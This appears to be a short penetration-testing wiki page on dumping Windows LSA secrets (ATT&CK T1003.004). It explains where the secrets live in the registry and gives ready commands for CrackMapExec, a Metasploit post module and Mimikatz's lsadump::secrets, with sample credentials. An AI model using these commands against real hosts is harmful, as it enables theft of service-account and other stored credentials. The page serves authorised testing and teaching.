> For the complete documentation index, see [llms.txt](https://viperone.gitbook.io/pentest-everything/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://viperone.gitbook.io/pentest-everything/everything/everything-active-directory/credential-access/credential-dumping/lsa-secrets.md).

# LSA Secrets

**ATT\&CK ID:** [T1003.004](https://attack.mitre.org/techniques/T1003/004/)

**Permissions Required:** <mark style="color:red;">**SYSTEM**</mark>

**Description**

Adversaries with SYSTEM access to a host may attempt to access Local Security Authority (LSA) secrets, which can contain a variety of different credential materials, such as credentials for service accounts. LSA secrets are stored in the registry at `HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets`. LSA secrets can also be dumped from memory.

## Techniques

### Crackmapexec

```bash
crackmapexec smb '10.10.10.100' -u 'moe' -p 'Password123' --lsa
```

![](/files/BCu3oEGWGdJuvjA9aCDB)

### Metasploit

```
use post/windows/gather/lsa_secrets
```

![](/files/LKLTPm781gHdn4KoH8n3)

### Mimikatz

```powershell
Invoke-Mimikatz -Command '"token::elevate" "lsadump::secrets"'
```

![](/files/S8dNj4JhSVSYg75DerQL)